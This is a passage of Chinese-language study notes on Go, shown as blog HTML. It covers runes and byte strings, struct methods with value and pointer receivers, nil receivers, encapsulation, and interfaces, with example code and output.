class="hljs-comment">// 输出</span><br>(<span class="hljs-number">0</span>, <span class="hljs-number">79</span>)(<span class="hljs-number">1</span>, <span class="hljs-number">65</span>)(<span class="hljs-number">2</span>, <span class="hljs-number">73</span>)(<span class="hljs-number">3</span>, <span class="hljs-number">2</span>C)(<span class="hljs-number">4</span>, E6)(<span class="hljs-number">5</span>, <span class="hljs-number">88</span>)(<span class="hljs-number">6</span>, <span class="hljs-number">91</span>)(<span class="hljs-number">7</span>, E5)(<span class="hljs-number">8</span>, <span class="hljs-number">96</span>)(<span class="hljs-number">9</span>, <span class="hljs-number">9</span>C)(<span class="hljs-number">10</span>, E6)(<span class="hljs-number">11</span>, AC)(<span class="hljs-number">12</span>, A2)(<span class="hljs-number">13</span>, E4)(<span class="hljs-number">14</span>, BD)(<span class="hljs-number">15</span>, A0)(<span class="hljs-number">16</span>, EF)(<span class="hljs-number">17</span>, BC)(<span class="hljs-number">18</span>, <span class="hljs-number">81</span>)<br>(<span class="hljs-number">0</span>, <span class="hljs-number">79</span>)(<span class="hljs-number">1</span>, <span class="hljs-number">65</span>)(<span class="hljs-number">2</span>, <span class="hljs-number">73</span>)(<span class="hljs-number">3</span>, <span class="hljs-number">2</span>C)(<span class="hljs-number">4</span>, <span class="hljs-number">6211</span>)(<span class="hljs-number">7</span>, <span class="hljs-number">559</span>C)(<span class="hljs-number">10</span>, <span class="hljs-number">6</span>B22)(<span class="hljs-number">13</span>, <span class="hljs-number">4</span>F60)(<span class="hljs-number">16</span>, FF01)<br>y e s , 我 喜 欢 你 !<br>(<span class="hljs-number">0</span>, <span class="hljs-number">79</span>)(<span class="hljs-number">1</span>, <span class="hljs-number">65</span>)(<span class="hljs-number">2</span>, <span class="hljs-number">73</span>)(<span class="hljs-number">3</span>, <span class="hljs-number">2</span>C)(<span class="hljs-number">4</span>, <span class="hljs-number">6211</span>)(<span class="hljs-number">5</span>, <span class="hljs-number">559</span>C)(<span class="hljs-number">6</span>, <span class="hljs-number">6</span>B22)(<span class="hljs-number">7</span>, <span class="hljs-number">4</span>F60)(<span class="hljs-number">8</span>, FF01)<br><br></code></pre></td></tr></table></figure>
<p>因此在需要使用rune</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Version: 1.0.0</span><br><span class="hljs-comment"> * Description: 获取字符串中不重复字串最大长度</span><br><span class="hljs-comment"> **/</span><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">maxNoRepeated</span><span class="hljs-params">(s <span class="hljs-keyword">string</span>)</span> <span class="hljs-title">int</span></span> {<br> <span class="hljs-comment">// 仅支持英文字符</span><br> <span class="hljs-comment">// 字符下标映射</span><br> chNotRepeatIndex := <span class="hljs-built_in">make</span>(<span class="hljs-keyword">map</span>[<span class="hljs-keyword">byte</span>] <span class="hljs-keyword">int</span>)<br> <span class="hljs-comment">// 最长串起始位置</span><br> start := <span class="hljs-number">0</span><br> <span class="hljs-comment">// 最长串长度</span><br> maxLength := <span class="hljs-number">0</span><br> <span class="hljs-keyword">for</span> i, ch := <span class="hljs-keyword">range</span> []<span class="hljs-keyword">byte</span>(s) {<br> <span class="hljs-keyword">if</span> lastI, ok := chNotRepeatIndex[ch]; ok && lastI >= start {<br> start = lastI + <span class="hljs-number">1</span><br> }<br> <span class="hljs-keyword">if</span> i - start + <span class="hljs-number">1</span> > maxLength {<br> maxLength = i - start + <span class="hljs-number">1</span><br> }<br> chNotRepeatIndex[ch] = i<br> }<br> <span class="hljs-keyword">return</span> maxLength<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">maxNoRepeatedChn</span><span class="hljs-params">(s <span class="hljs-keyword">string</span>)</span> <span class="hljs-title">int</span></span> {<br> <span class="hljs-comment">// 通过rune</span><br> chNotRepeatIndex := <span class="hljs-built_in">make</span>(<span class="hljs-keyword">map</span>[<span class="hljs-keyword">rune</span>] <span class="hljs-keyword">int</span>)<br> start := <span class="hljs-number">0</span><br> maxLength := <span class="hljs-number">0</span><br> <span class="hljs-keyword">for</span> i, ch := <span class="hljs-keyword">range</span> []<span class="hljs-keyword">rune</span>(s) {<br> <span class="hljs-keyword">if</span> lastI, ok := chNotRepeatIndex[ch]; ok && lastI >= start {<br> start = lastI + <span class="hljs-number">1</span><br> }<br> <span class="hljs-keyword">if</span> i - start + <span class="hljs-number">1</span> > maxLength {<br> maxLength = i - start + <span class="hljs-number">1</span><br> }<br> chNotRepeatIndex[ch] = i<br> }<br> <span class="hljs-keyword">return</span> maxLength<br>}<br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/blob/master/go/collections/strings.go</p>
<h3 id="面向对象">面向对象</h3>
<p>仅<em>支持封装</em>,不支持继承和多态</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">import</span> <span class="hljs-string">"fmt"</span><br><br><span class="hljs-keyword">type</span> Node <span class="hljs-keyword">struct</span> {<br> Value <span class="hljs-keyword">int</span><br> Left, Right *Node<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(node Node)</span> <span class="hljs-title">Print</span><span class="hljs-params">()</span></span> {<br> fmt.Print(node.Value, <span class="hljs-string">" "</span>)<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(node *Node)</span> <span class="hljs-title">SetValue</span><span class="hljs-params">(value <span class="hljs-keyword">int</span>)</span></span> {<br> <span class="hljs-comment">// 接收者使用指针才可以改变结构内容</span><br> <span class="hljs-keyword">if</span> node == <span class="hljs-literal">nil</span> {<br> fmt.Println(<span class="hljs-string">"Setting Value to nil node. Ignored."</span>)<br> <span class="hljs-keyword">return</span><br> }<br> node.Value = value<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(node Node)</span> <span class="hljs-title">SetValueNotUpdate</span><span class="hljs-params">(value <span class="hljs-keyword">int</span>)</span></span> {<br> <span class="hljs-comment">// 值传递 node内容无法改变</span><br> <span class="hljs-keyword">if</span> &node == <span class="hljs-literal">nil</span> {<br> fmt.Println(<span class="hljs-string">"Setting Value to nil node. Ignored."</span>)<br> <span class="hljs-keyword">return</span><br> }<br> node.Value = value<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">CreateNode</span><span class="hljs-params">(value <span class="hljs-keyword">int</span>)</span> *<span class="hljs-title">Node</span></span> {<br> <span class="hljs-comment">// 返回局部变量地址,这样变量会在堆中声明,可以传到外部</span><br> <span class="hljs-keyword">return</span> &Node{Value: value}<br>}<br></code></pre></td></tr></table></figure>
<p>方法有接收者(值/指针接收者),需要改变内容必须使用指针接收者,结构体过大考虑用指针接收者</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> node := Node{}<br> node.Print()<br> node.SetValueNotUpdate(<span class="hljs-number">10</span>)<br> node.Print()<br> node.SetValue(<span class="hljs-number">10</span>)<br> node.Print()<br>}<br><br><span class="hljs-comment">// 输出</span><br><span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">10</span> <br></code></pre></td></tr></table></figure>
<p>nil也可以调用方法</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> pNode *Node<br> pNode.SetValue(<span class="hljs-number">30</span>)<br>}<br><br><span class="hljs-comment">// 输出</span><br>Setting Value to <span class="hljs-literal">nil</span> node. Ignored.<br></code></pre></td></tr></table></figure>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> pNode *Node<br> pNode.SetValueNotUpdate(<span class="hljs-number">20</span>)<br>}<br><br><span class="hljs-comment">// 输出</span><br><span class="hljs-built_in">panic</span>: runtime error: invalid memory address or <span class="hljs-literal">nil</span> pointer dereference<br>[signal SIGSEGV: segmentation violation code=<span class="hljs-number">0x1</span> addr=<span class="hljs-number">0x0</span> pc=<span class="hljs-number">0x109d0af</span>]<br><br>goroutine <span class="hljs-number">1</span> [running]:<br>main.main()<br> ~/Projects/golang/src/offer/note/ab_test_func.<span class="hljs-keyword">go</span>:<span class="hljs-number">50</span> +<span class="hljs-number">0x1f</span><br><br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/blob/master/go/object/tree.go</p>
<h4 id="封装与包">封装与包</h4>
<p>首字母大写:public,首字母小写:private</p>
<p>为结构体定义的方法需要放在一个包下(可以是不同的文件)</p>
<p>扩充系统类型或者自定义类型方式:定义别名和使用组合</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Queue []<span class="hljs-keyword">int</span><br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(q *Queue)</span><span class="hljs-title">Push</span><span class="hljs-params">(val <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">error</span></span> {<br> *q = <span class="hljs-built_in">append</span>(*q, val)<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(q *Queue)</span><span class="hljs-title">Pop</span><span class="hljs-params">()</span> <span class="hljs-params">(<span class="hljs-keyword">int</span>,<span class="hljs-keyword">bool</span>)</span></span> {<br> <span class="hljs-keyword">if</span> q.IsEmpty() {<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>, <span class="hljs-literal">false</span><br> }<br> head := (*q)[<span class="hljs-number">0</span>]<br> *q = (*q)[<span class="hljs-number">1</span>:]<br> <span class="hljs-keyword">return</span> head, <span class="hljs-literal">true</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(q *Queue)</span><span class="hljs-title">IsEmpty</span><span class="hljs-params">()</span> <span class="hljs-title">bool</span></span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">len</span>(*q) == <span class="hljs-number">0</span><br>}<br></code></pre></td></tr></table></figure>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Node <span class="hljs-keyword">struct</span> {<br> Value <span class="hljs-keyword">int</span><br> Left, Right *Node<br>}<br><br><span class="hljs-keyword">type</span> MyNode <span class="hljs-keyword">struct</span> {<br> node *Node<br>}<br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/blob/master/go/object/queue.go</p>
<h3 id="接口">接口</h3>
<h4 id="鸭子类型">鸭子类型</h4>
<h5 id="duck-typing">Duck Typing</h5>
<p>接口由使用者定义</p>
<p> Python的在运行时才能知道被调用的对象是否实现某个方法</p>
<p> Java中编译前,调用的对象就必须实现接口所有方法</p>
<p>接口变量自带指针(参数传递也是值传递),因此几乎不需要使用接口指针</p>
<p><img src="/images/golang/interface.png" srcset="/img/loading.gif" lazyload></p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-comment">// offer/note/interfaces/mock/duck.go</span><br><span class="hljs-keyword">package</span> mock<br><br><span class="hljs-keyword">type</span> Duck <span class="hljs-keyword">struct</span> {<br> Name <span class="hljs-keyword">string</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(d *Duck)</span> <span class="hljs-title">GetName</span><span class="hljs-params">()</span> <span class="hljs-title">string</span></span> {<br> <span class="hljs-comment">// 实现者没有指明实现了哪个接口</span><br> <span class="hljs-keyword">if</span> d.Name != <span class="hljs-string">""</span> {<br> <span class="hljs-keyword">return</span> d.Name<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"这是一个鸭子!"</span><br> }<br>}<br><br><span class="hljs-comment">// offer/note/interfaces/duckI.go</span><br><span class="hljs-keyword">package</span> interfaces<br><br><span class="hljs-keyword">import</span> <span class="hljs-string">"fmt"</span><br><br><span class="hljs-keyword">type</span> DuckI <span class="hljs-keyword">interface</span> {<br> <span class="hljs-comment">// 使用接口者 定义方法</span><br> GetName() <span class="hljs-keyword">string</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">FindDuck</span><span class="hljs-params">(d DuckI)</span></span> { <span class="hljs-comment">// 接口变量自带指针</span><br> name := d.GetName()<br> fmt.Println(name)<br>}<br><br><span class="hljs-comment">// offer/note/main.go</span><br><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"offer/note/interfaces"</span><br> <span class="hljs-string">"offer/note/interfaces/mock"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> interfaces.FindDuck(&mock.Duck{})<br> interfaces.FindDuck(&mock.Duck{Name:<span class="hljs-string">"这是一只假鸭子"</span>})<br>}<br><br><br><span class="hljs-comment">// 输出</span><br>这是一个鸭子!<br>这是一只假鸭子<br></code></pre></td></tr></table></figure>
<h5 id="多态">多态</h5>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> MemberRights <span class="hljs-keyword">interface</span> {<br> Information () <span class="hljs-keyword">string</span><br>}<br><br><span class="hljs-keyword">type</span> BronzeMember <span class="hljs-keyword">struct</span> {<br> Discount <span class="hljs-keyword">uint8</span><br>}<br><br><span class="hljs-keyword">type</span> SilverMember <span class="hljs-keyword">struct</span> {<br> Discount <span class="hljs-keyword">uint8</span><br>}<br><br><span class="hljs-keyword">type</span> GoldMember <span class="hljs-keyword">struct</span> {<br> Discount <span class="hljs-keyword">uint8</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(b *BronzeMember)</span> <span class="hljs-title">Information</span> <span class="hljs-params">()</span> <span class="hljs-title">string</span></span> {<br> <span class="hljs-keyword">return</span> fmt.Sprintf(<span class="hljs-string">"Discount:%d"</span>, b.Discount)<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(s *SilverMember)</span> <span class="hljs-title">Information</span> <span class="hljs-params">()</span> <span class="hljs-title">string</span></span> {<br> <span class="hljs-keyword">return</span> fmt.Sprintf(<span class="hljs-string">"Discount:%d"</span>, s.Discount)<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(g *GoldMember)</span> <span class="hljs-title">Information</span> <span class="hljs-params">()</span> <span class="hljs-title">string</span></span> {<br> <span class="hljs-keyword">return</span> fmt.Sprintf(<span class="hljs-string">"Discount:%d"</span>, g.Discount)<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">Price</span> <span class="hljs-params">(m MemberRights)</span></span> {<br> fmt.Println(m.Information())<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span> <span class="hljs-params">()</span></span> {<br> b := &BronzeMember{Discount: <span class="hljs-number">9</span>}<br> Price(b)<br> s := &SilverMember{<span class="hljs-number">8</span>}<br> Price(s)<br> g := <span class="hljs-built_in">new</span>(GoldMember)<br> g.Discount = <span class="hljs-number">7</span><br> Price(g)<br>}<br></code></pre></td></tr></table></figure>
<h4 id="任何类型">任何类型</h4>
<p><code>interface{}</code></p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Queue []<span class="hljs-keyword">interface</span>{}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(q *Queue)</span><span class="hljs-title">Push</span><span class="hljs-params">(val <span class="hljs-keyword">interface</span>{})</span> <span class="hljs-title">error</span></span> {<br> *q = <span class="hljs-built_in">append</span>(*q, val)<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">nil</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(q *Queue)</span><span class="hljs-title">Pop</span><span class="hljs-params">()</span> <span class="hljs-params">(<span class="hljs-keyword">interface</span>{},<span class="hljs-keyword">bool</span>)</span></span> {<br> <span class="hljs-keyword">if</span> q.IsEmpty() {<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>, <span class="hljs-literal">false</span><br> }<br> head := (*q)[<span class="hljs-number">0</span>]<br> *q = (*q)[<span class="hljs-number">1</span>:]<br> <span class="hljs-keyword">return</span> head, <span class="hljs-literal">true</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(q *Queue)</span><span class="hljs-title">IsEmpty</span><span class="hljs-params">()</span> <span class="hljs-title">bool</span></span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">len</span>(*q) == <span class="hljs-number">0</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span>{<br> q := interfaces.Queue{}<br> _ = q.Push(<span class="hljs-string">"asd"</span>)<br> _ = q.Push(<span class="hljs-number">123</span>)<br> <span class="hljs-keyword">if</span> v, ok := q.Pop(); ok {<br> fmt.Println(v)<br> }<br> <span class="hljs-keyword">if</span> v, ok := q.Pop(); ok {<br> fmt.Println(v)<br> }<br>}<br><br><span class="hljs-comment">// 输出</span><br>asd<br><span class="hljs-number">123</span><br></code></pre></td></tr></table></figure>
<h4 id="组合">组合</h4>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-comment">// offer/note/interfaces/animals.go</span><br><span class="hljs-keyword">package</span> animal<br><br><span class="hljs-keyword">import</span> <span class="hljs-string">"fmt"</span><br><br><span class="hljs-keyword">type</span> AnimalsI <span class="hljs-keyword">interface</span> {<br> DuckI<br> BehaviorI<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">DuckBehavior</span><span class="hljs-params">(a AnimalsI)</span></span> {<br> name := a.GetName()<br> dark := a.Shout(<span class="hljs-string">"呱呱乱叫"</span>)<br> fmt.Println(name, dark)<br> fmt.Println(a.String())<br>}<br><br><br><span class="hljs-comment">// offer/note/interfaces/behaviorI.go</span><br><span class="hljs-keyword">package</span> animal<br><br><span class="hljs-keyword">type</span> BehaviorI <span class="hljs-keyword">interface</span> {<br> Shout(dark <span class="hljs-keyword">string</span>) <span class="hljs-keyword">string</span><br>}<br><br><br><span class="hljs-comment">// offer/note/interfaces/duckI.go</span><br><span class="hljs-keyword">package</span> animal<br><br><span class="hljs-keyword">type</span> DuckI <span class="hljs-keyword">interface</span> {<br> GetName() <span class="hljs-keyword">string</span><br>}<br><br><br><span class="hljs-comment">// offer/note/interfaces/mock/duck.go</span><br><span class="hljs-keyword">package</span> mock<br><br><span class="hljs-keyword">type</span> Duck <span class="hljs-keyword">struct</span> {<br> name <span class="hljs-keyword">string</span><br> bark <span class="hljs-keyword">string</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(d *Duck)</span> <span class="hljs-title">GetName</span><span class="hljs-params">()</span> <span class="hljs-title">string</span></span> {<br> <span class="hljs-keyword">if</span> d.name != <span class="hljs-string">""</span> {<br> <span class="hljs-keyword">return</span> d.name<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"这是一个鸭子"</span><br> }<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(d *Duck)</span> <span class="hljs-title">Shout</span><span class="hljs-params">(dark <span class="hljs-keyword">string</span>)</span> <span class="hljs-title">string</span></span> {<br> <span class="hljs-keyword">if</span> d.bark == <span class="hljs-string">""</span>{<br> <span class="hljs-keyword">return</span> <span class="hljs-string">"呱呱呱呱的叫"</span><br> }<span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">return</span> dark<br> }<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-params">(d *Duck)</span> <span class="hljs-title">String</span><span class="hljs-params">()</span> <span class="hljs-title">string</span></span> {<br> <span class="hljs-keyword">return</span> fmt.Sprintf(<span class="hljs-string">"Duck: { name = %s, bark = %s }"</span>, d.name, d.bark)<br>}<br><br><span class="hljs-comment">// 输出</span><br>这是一个鸭子 呱呱呱呱的叫<br>Duck: { name = , bark = }<br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/tree/master/go/interfaces</p>
<h4 id="常用接口">常用接口</h4>
<ul>
<li><code>Stringer</code>相当于toString()</li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Stringer <span class="hljs-keyword">interface</span> {<br> String() <span class="hljs-keyword">string</span><br>}<br></code></pre></td></tr></table></figure>
<ul>
<li><code>Reader</code></li>
<li><code>Writer</code></li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-comment">// io/io.go</span><br><br><span class="hljs-comment">// Reader is the interface that wraps the basic Read method.</span><br><span class="hljs-comment">//</span><br><span 